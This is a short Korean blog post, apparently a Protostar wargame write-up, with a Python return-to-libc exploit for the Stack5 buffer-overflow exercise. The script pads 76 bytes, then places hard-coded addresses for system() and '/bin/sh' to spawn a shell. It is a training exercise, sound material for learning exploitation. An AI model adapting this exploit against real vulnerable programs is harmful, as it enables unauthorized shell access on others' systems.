이번엔 그냥 쉘을 따는게 목표네요.
#coding: utf-8 from struct import pack, unpack p = lambda x: pack("<L", x) up = lambda x: pack("<L", x)[0] system = 0xb7ecffb0 binsh = 0xb7fb63bf win = 0x80483f4 payload = 'A'*76 payload += p(system) payload += 'B'*4 payload += p(binsh) print payload
stack5.py
따줍시다.
'Wargame > Protostar:Exploit-Exercises' 카테고리의 다른 글
[Protostar : Exploit-Exercises] Stack7 (0) | 2016.09.24 |
---|---|
[Protostar : Exploit-Exercises] Stack6 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack4 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack3 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack2 (0) | 2016.09.24 |